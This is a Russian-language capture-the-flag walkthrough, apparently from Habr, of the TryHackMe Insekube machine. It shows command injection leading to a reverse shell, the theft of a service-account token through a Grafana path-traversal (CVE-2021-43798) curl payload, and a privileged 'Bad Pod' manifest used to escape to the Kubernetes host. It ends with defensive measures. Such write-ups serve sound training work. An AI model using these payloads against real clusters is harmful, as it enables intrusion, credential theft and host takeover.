Всем привет! В этой статье, на примере машины Insekube с TryHackme, я постараюсь показать каким образом могут быть захвачены кластера Kubernetes реальными злоумышленниками, а также рассмотрю возможные методы защиты от этого. Приятного прочтения!
Ищем точку входа
Расчехляем nmap:
nmap 10.10.221.142 Starting Nmap 7.60 ( https://nmap.org ) at 2022-06-07 17:08 BST Nmap scan report for ip-10-10-221-142.eu-west-1.compute.internal (10.10.221.142) Host is up (0.0015s latency). Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 02:BF:D5:06:FF:D9 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds
Опираясь на название и описание тачки хотелось бы увидеть какие-нибудь порты Kubernetes, но видим торчащий наружу 80 порт. Окей, открываем адрес в браузере.
Пробуем подать какой-нибудь инпут и понимаем, что это обычный ping.
Судя по ответу, где-то исполняется реалная тулза ping. Тут же приходит идея проверить ввод на command injection
– действительно работает!
Недолго думая, прокидываем reverse shell и ловим бэк-коннект:
nc -nlvp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from 10.10.221.142 57278 received! /bin/sh: 0: can't access tty; job control turned off $ id uid=1000(challenge) gid=1000(challenge) groups=1000(challenge)
Внутри контейнера
Отлично, мы внутри. Только вот внутри чего? Посмотрим переменные окружения. Видим хорошо знакомые значения для Kubernetes – отсюда делаем вывод: мы внутри Pod! Из env забираем первый флаг.
$ env KUBERNETES_SERVICE_PORT=443 KUBERNETES_PORT=tcp://10.96.0.1:443 HOSTNAME=syringe-79b66d66d7-7mxhd ...
Внутри самого Pod для нас мало чего интересного, но у него может быть привилегированный Service Account, который может дать нам больше возможностей – например создавать такие Pod, чтобы можно было сделать побег из контейнера и вырваться на хост. Для того чтобы это проверить нам нужен kubectl
. Посмотрим, есть ли он где нибудь в контейнере, вдруг не придется его скачивать его извне.
find / -name "kubectl" find: '/etc/ssl/private': Permission denied find: '/var/lib/apt/lists/partial': Permission denied find: '/var/cache/apt/archives/partial': Permission denied find: '/var/cache/ldconfig': Permission denied find: '/proc/tty/driver': Permission denied /tmp/kubectl
Отлично! То что нам нужно. Кто-то бережно оставил kubectl для нас в директории /tmp
Проверим, достаточно ли у нас прав для создания нового Pod:
$ cd /tmp $ ls kubectl $ ./kubectl auth can-i create pods no
Да уж, не густо. Но смотреть Secrets мы можем. Там же лежит второй флаг. Будем искать другой вектор.
$ ./kubectl get secrets NAME TYPE DATA default-token-8bksk kubernetes.io/service-account-token 3 developer-token-74lck kubernetes.io/service-account-token 3 secretflag Opaque 1 syringe-token-g85mg kubernetes.io/service-account-token 3
Особо внимательные, при просмотре env, увидели, что там также хранятся переменные от Grafana – адрес и порт. Это значит, что она развернута в кластере и мы можем попробовать достучаться до неё из Pod! В контейнере также есть curl, который облегчит нам эту задачу. Пробуем постучаться на стандартный эндпоинт Grafana:
curl 10.108.133.228:3000/login
Получаем довольно большой ответ… Для начала неплохо было бы определить версию Grafana, может она устаревшая и для неё есть известные уязвимости. В начале ответа видим упоминание версии:
..."version":"8.3.0-beta2"...
По первой ссылке в гугле находим, что для этой версии присвоена CVE-2021-43798 – Grafana 8.x Path Traversal (Pre-Auth). Супер! Как нам это может быть полезно? Мы сможем прочитать Token, который относится к Service Account у Grafana Pod – он маунтится прямо внутрь контейнера. Если у этого Pod есть достаточно привилегированный Service Account, то мы сможем создать «Bad Pod» для побега на хост!
Формируем запрос с полезной нагрузкой, таким образом чтобы отработал path traversal. Не забываем выставить флаг --path-as-is
, чтобы curl не схлопывал наш пэйлоад:
curl --path-as-is 10.108.133.228:3000/public/plugins/alertGroups/../../../../../../../../etc/passwd % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1230 100 1230 0 0 600k 0 --:--:-- --:--:-- --:--:-- 600k root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin ...
Работает! Теперь указываем путь до Token (он лежит в /var/run/secrets/kubernetes.io/serviceaccount/token
) и сохраняем ответ:
curl --path-as-is 10.108.133.228:3000/public/plugins/alertGroups/../../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1022 100 1022 0 0 499k 0 --:--:-- --:--:-- --:--:-- 499k eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUtUb21jcjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg2MTU5NjAzLCJpYXQiOjE2NTQ2MjM2MDMsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZX
export TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUt...
Ещё раз проверим возможность создавать Pod, на этот раз через новый Service Account:
$ ./kubectl auth can-i create pods --token=$TOKEN yes
Отлично. Создаем «Bad Pod» для побега на хост:
cat <<EOF | ./kubectl create --token=$TOKEN -f - apiVersion: v1 kind: Pod metadata: name: everything-allowed-exec-pod labels: app: pentest spec: hostNetwork: true hostPID: true hostIPC: true containers: - name: everything-allowed-pod image: ubuntu securityContext: privileged: true volumeMounts: - mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumes: - name: noderoot hostPath: path: / EOF
Посмотрим, создался ли Pod:
$ ./kubectl get po --token=$TOKEN NAME READY STATUS RESTARTS AGE everything-allowed-exec-pod 0/1 ErrImagePull 0 29s grafana-57454c95cb-v4nrk 1/1 Running 10 (127d ago) 151d syringe-79b66d66d7-7mxhd 1/1 Running 1 (127d ago) 127d
Но не всё так просто! Pod не запустился – не спуллился образ. Видимо кластер изолирован по сети. Но если образ уже ранее использовался и скачивался, то мы можем попытать удачу и выставить imagePullPolicy: IfNotPresent
... containers: - name: everything-allowed-pod image: ubuntu imagePullPolicy: IfNotPresent ...
На этот раз сработало. Заходим в Pod –> оказываемся на хосте –> находим последний флаг:
$ ./kubectl get po --token=$TOKEN NAME READY STATUS RESTARTS AGE everything-allowed-exec-pod 1/1 Running 0 12s grafana-57454c95cb-v4nrk 1/1 Running 10 (127d ago) 151d syringe-79b66d66d7-7mxhd 1/1 Running 1 (127d ago) 127d $ ./kubectl exec -it everything-allowed-exec-pod --token=$TOKEN -- bash Unable to use a TTY - input is not a terminal or the right kind of file id uid=0(root) gid=0(root) groups=0(root)
Как этого можно было избежать?
-
Network Policy – сетевые политики смогли бы ограничить общение контейнеров по сети. Например можно написать такую политику, которая запретит стучаться из Pod с веб-приложением в Pod с Grafana
-
Policy engine – имея правило на запрет создания привилегированных Pod, от Kyverno или Gatekeeper, у злоумышленника и вовсе не получилось бы сбежать на хост. Запрос не прошел бы через webhook
-
Runtime observability & security – знание и полная видимость происходящего в кластере позволили бы заметить и остановить злоумышленника ещё в начале атаки
ссылка на оригинал статьи https://habr.com/ru/post/670172/
Добавить комментарий